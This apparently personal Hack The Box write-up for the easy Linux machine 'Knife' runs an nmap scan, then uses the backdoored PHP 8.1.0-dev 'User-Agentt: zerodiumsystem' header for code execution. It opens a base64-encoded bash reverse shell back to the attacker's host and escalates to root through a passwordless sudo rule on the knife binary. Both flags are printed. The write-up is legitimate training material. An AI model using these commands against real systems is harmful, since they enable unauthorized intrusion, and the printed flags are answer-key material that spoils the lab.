← Back to Hack The Box
Hack The Box

Knife

September 2026 · Machines

Knife is an easy difficulty Linux machine that features an application which is running on a backdoored version of PHP. This vulnerability is leveraged to obtain the foothold on the server. A sudo misconfiguration is then exploited to gain a root shell.

Tasks

Question 1: How many TCP ports are open on Knife?

┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-qbplabfgur]─[~]
└──╼ [★]$ nmap -sC -sV -A 10.129.17.50 -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-06 22:02 EDT
Nmap scan report for 10.129.17.50
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.04 seconds

Answer: 2


Question 2: What version of PHP is running on the webserver?

We run curl -I [TARGET_IP] to only output the HTTP response.

┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-qbplabfgur]─[~]
└──╼ [★]$ curl -I 10.129.17.50
HTTP/1.1 200 OK
Date: Mon, 07 Sep 2026 02:23:44 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Content-Type: text/html; charset=UTF-8

Answer: 8.1.0-dev


Question 3: What HTTP request header can be added to get code execution in this version of PHP?

Reading Google Search results reveals the answer.

Answer: User-Agentt


Question 4: What user is the web server running as?

We can send a cURL request to the target and add -H 'User-Agentt: zerodiumsystem("whoami");'.

No input file specified.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-qbplabfgur]─[~]
└──╼ [★]$ curl 10.129.17.50 -H 'User-Agentt: zerodiumsystem("whoami");'
james
<!DOCTYPE html>
<html lang="en" >

<head>

  <meta charset="UTF-8">
 

  <title> Emergent Medical Idea</title>
  
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

  
  
<style>
html,body {
  font-family: 'Raleway', sans-serif;
  padding: 0;
  font-size: 18px;
  /*background: rgb(50, 120, 186);*/
  background: #FFF;
  color: #fff;
}

#menu{
  color: #000;
  max-width: 100%;
  text-align: right;
  font-size: 18px;
  padding: 20px;
  position: relative;
}

#menu ul li{
  display: inline-block;
  margin: 0 5px;
}

#menu ul li:first-child{
  position: absolute;
  top: 0;
  left: 20px;
}

.wrapper{
  max-width: 1000px;
  margin: 0 auto;
}
#heartRate{
  max-width: 500px;
}
.quote{
  max-width: 500px;
  margin-top: 10%;
}

h1,h2 {

  margin: 0.4em 0;
}
h1 { 
  font-size: 3.5em;
  font-weight: 700;

    /* Shadows are visible under slightly transparent text color */
    color: rgba(10,60,150, 0.8);
    text-shadow: 1px 4px 6px #fff, 0 0 0 #000, 1px 4px 6px #fff;
}

h2 {
  color: rgba(10,60,150, 1);
  font-size: 2em;
  font-weight: 200;
}
::-moz-selection { background: #5af; color: #fff; text-shadow: none; }
::selection { background: #5af; color: #fff; text-shadow: none; }
</style>

  <script>
  window.console = window.console || function(t) {};
</script>

  
  
  <script>
  if (document.location.search.match(/type=embed/gi)) {
    window.parent.postMessage("resize", "*");
  }
</script>


</head>

<body translate="no" >
  <link href="https://fonts.googleapis.com/css?family=Raleway:200,100,700,4004" rel="stylesheet" type="text/css" />
<div id="menu">
  <ul>
    <li></li>
    <li>About EMA</li>
    <li>/</li>
    <li>Patients</li>
    <li>/</li>
    <li>Hospitals</li>
    <li>/</li>
    <li>Providers</li>
    <li>/</li>
    <li>E-MSO</li>
  </ul>
</div>
<div class="wrapper">
<div class ="quote">
<svg version="1.1" id="heartRate" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 699 114.3" enable-background="new 0 0 699 114.3" xml:space="preserve">
<path class="pather1" fill="none" stroke="#0A3C96" stroke-width="1" stroke-miterlimit="10" d="M707.9,78c0,0-17.1-0.6-31.1-0.6
	s-30,3.1-31.5,0.6S641,49.3,641,49.3l-10.5,58.5L619.3,7.5c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6
	s-4.3-28.8-4.3-28.8l-10.5,58.5L518.1,7.5c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6s-4.3-28.8-4.3-28.8
	l-10.5,58.5L417,7.5c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6s-4.3-28.8-4.3-28.8l-10.5,58.5L315.9,7.5
	c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6s-4.3-28.8-4.3-28.8L226,107.8L214.8,7.5c0,0-11.3,66.8-12.5,70.5
	c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6s-4.3-28.8-4.3-28.8l-10.5,58.5L113.6,7.5c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6
	S40,80.5,38.5,78s-4.3-28.8-4.3-28.8l-10.5,58.5L12.5,7.5C12.5,7.5,1.3,74.3,0,78"/>
</svg>

<h2>At EMA we're taking care to a whole new level . . .</h2>
<h1>Taking care of our
  <span
     class="txt-rotate"
     data-period="2000"
     data-rotate='[ "patients.", "hospitals.", "providers." ]'></span>
</h1>
</div>
 </div>
    <script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-157cd5b220a5c80d4ff8e0e70ac069bffd87a61252088146915e8726e5d9f147.js"></script>

  
      <script id="rendered-js" >
var TxtRotate = function (el, toRotate, period) {
  this.toRotate = toRotate;
  this.el = el;
  this.loopNum = 0;
  this.period = parseInt(period, 10) || 2000;
  this.txt = '';
  this.tick();
  this.isDeleting = false;
};

TxtRotate.prototype.tick = function () {
  var i = this.loopNum % this.toRotate.length;
  var fullTxt = this.toRotate[i];

  if (this.isDeleting) {
    this.txt = fullTxt.substring(0, this.txt.length - 1);
  } else {
    this.txt = fullTxt.substring(0, this.txt.length + 1);
  }

  this.el.innerHTML = '<span class="wrap">' + this.txt + '</span>';

  var that = this;
  var delta = 300 - Math.random() * 100;

  if (this.isDeleting) {delta /= 2;}

  if (!this.isDeleting && this.txt === fullTxt) {
    delta = this.period;
    this.isDeleting = true;
  } else if (this.isDeleting && this.txt === '') {
    this.isDeleting = false;
    this.loopNum++;
    delta = 500;
  }

  setTimeout(function () {
    that.tick();
  }, delta);
};


window.onload = function () {
  var elements = document.getElementsByClassName('txt-rotate');
  for (var i = 0; i < elements.length; i++) {if (window.CP.shouldStopExecution(0)) break;
    var toRotate = elements[i].getAttribute('data-rotate');
    var period = elements[i].getAttribute('data-period');
    if (toRotate) {
      new TxtRotate(elements[i], JSON.parse(toRotate), period);
    }
  }
  // INJECT CSS
  window.CP.exitedLoop(0);var css = document.createElement("style");
  css.type = "text/css";
  css.innerHTML = ".txt-rotate > .wrap { border-right: 0.04em solid #666 }";
  document.body.appendChild(css);
};


var path = document.querySelector('path.pather1');
var length = path.getTotalLength();

// Clear any previous transition
path.style.transition = path.style.WebkitTransition =
'none';
// Set up the starting positions
path.style.strokeDasharray = length + ' ' + length;
path.style.strokeDashoffset = -length;
// Trigger a layout so styles are calculated & the browser
// picks up the starting position before animating
path.getBoundingClientRect();
// Define our transition
path.style.transition = path.style.WebkitTransition =
'stroke-dashoffset 4s linear';
// Go!
path.style.strokeDashoffset = '0';
//# sourceURL=pen.js
    </script>

  

</body>

</html>

Notice that it also returns the rest of the web page code that we do not need. We can get a concise output when we add on exit;.

┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-qbplabfgur]─[~]
└──╼ [★]$ curl 10.129.17.50 -H 'User-Agentt: zerodiumsystem("whoami");exit;'
james

Answer: james


Question 5: Submit the flag located in the james user's home directory.

Before we attempt a reverse shell connection, we check if the target system can reach us. We enable a Python HTTP server on port 8080 from our local machine, and we send a cURL request from the target's server via the vulnerability.

┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-qbplabfgur]─[~]
└──╼ [★]$ curl 10.129.17.50 -H 'User-Agentt: zerodiumsystem("curl 10.10.14.224:8080");'
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-qbplabfgur]─[~]
└──╼ [★]$ sudo python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.17.50 - - [06/Sep/2026 22:36:05] "GET / HTTP/1.1" 200 -

To start the reverse shell, we first need to activate Netcat listener on a selected port. Then we connect back to our local machine's IP address and port number. To prevent errors in string and special characters parsing, we first run echo -n "bash -i >& /dev/tcp/[LOCAL_IP]/1337 0>&1" | base64 in our local terminal, then use the Base64 encoded output to be decoded in the target's machine to connect back to us.

┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-qbplabfgur]─[~]
└──╼ [★]$ curl http://10.129.17.50 -H "User-Agentt: zerodiumsystem('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMjQvMTMzNyAwPiYx | base64 -d | bash');die();"

Our netcat listener should now have an active reverse shell as james. Reading /home/james/user.txt gives us the flag.

┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-qbplabfgur]─[~]
└──╼ [★]$ nc -lvnp 1337
Listening on 0.0.0.0 1337
Connection received on 10.129.17.50 60024
bash: cannot set terminal process group (913): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ whoami
whoami
james
james@knife:/$ cd /home && ls -al 
cd /home && ls -al
total 12
drwxr-xr-x  3 root  root  4096 May  6  2021 .
drwxr-xr-x 20 root  root  4096 May 18  2021 ..
drwxr-xr-x  5 james james 4096 May 18  2021 james
james@knife:/home$ cd james && ls -al
cd james && ls -al
total 40
drwxr-xr-x 5 james james 4096 May 18  2021 .
drwxr-xr-x 3 root  root  4096 May  6  2021 ..
lrwxrwxrwx 1 james james    9 May 10  2021 .bash_history -> /dev/null
-rw-r--r-- 1 james james  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 james james 3771 Feb 25  2020 .bashrc
drwx------ 2 james james 4096 May  6  2021 .cache
drwxrwxr-x 3 james james 4096 May  6  2021 .local
-rw-r--r-- 1 james james  807 Feb 25  2020 .profile
-rw-rw-r-- 1 james james   66 May  7  2021 .selected_editor
drwx------ 2 james james 4096 May 18  2021 .ssh
-r-------- 1 james james   33 Sep  7 02:05 user.txt
james@knife:~$ cat user.txt
cat user.txt
2152eb9ff55998e08758e4b433145932
james@knife:~$ 

Answer: 2152eb9ff55998e08758e4b433145932


Question 6: What is the full path to the binary on this machine that james can run as root?

Running sudo -l reveals that james can run /usr/bin/knife as root without password. Knife is a configuration tool for Chef. It has a built-in feature that allows us to execute system commands or open an interactive Ruby shell.

james@knife:/$ sudo -l
sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

Answer: /usr/bin/knife


Question 7: Submit the flag located in root's home directory.

To privesc to root, we run sudo knife exec -E 'exec "/bin/bash"' and read /root/root.txt.

james@knife:/$ sudo knife exec -E 'exec "/bin/bash"'
sudo knife exec -E 'exec "/bin/bash"'
whoami
root
cd /root && ls -al
total 60
drwx------  7 root root 4096 Sep  7 02:05 .
drwxr-xr-x 20 root root 4096 May 18  2021 ..
lrwxrwxrwx  1 root root    9 May  8  2021 .bash_history -> /dev/null
-rw-r--r--  1 root root 3137 May  7  2021 .bashrc
drwx------  2 root root 4096 May  7  2021 .cache
drwx------  3 root root 4096 May 18  2021 .chef
-rwxr-xr-x  1 root root  105 May  8  2021 delete.sh
drwxr-xr-x  3 root root 4096 May  7  2021 .local
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rw-------  1 root root 1024 May  8  2021 .rnd
-r--------  1 root root   33 Sep  7 02:05 root.txt
-rw-r--r--  1 root root   66 May  8  2021 .selected_editor
drwxr-xr-x  3 root root 4096 May  6  2021 snap
drwx------  2 root root 4096 May  6  2021 .ssh
-rw-------  1 root root 4143 Jul 23  2021 .viminfo
cat root.txt
e12b2aeb2d907a7367a4a6659da0bd2f

Answer: e12b2aeb2d907a7367a4a6659da0bd2f


See you in the next Hacking Lab.

@aaronamran

September 2026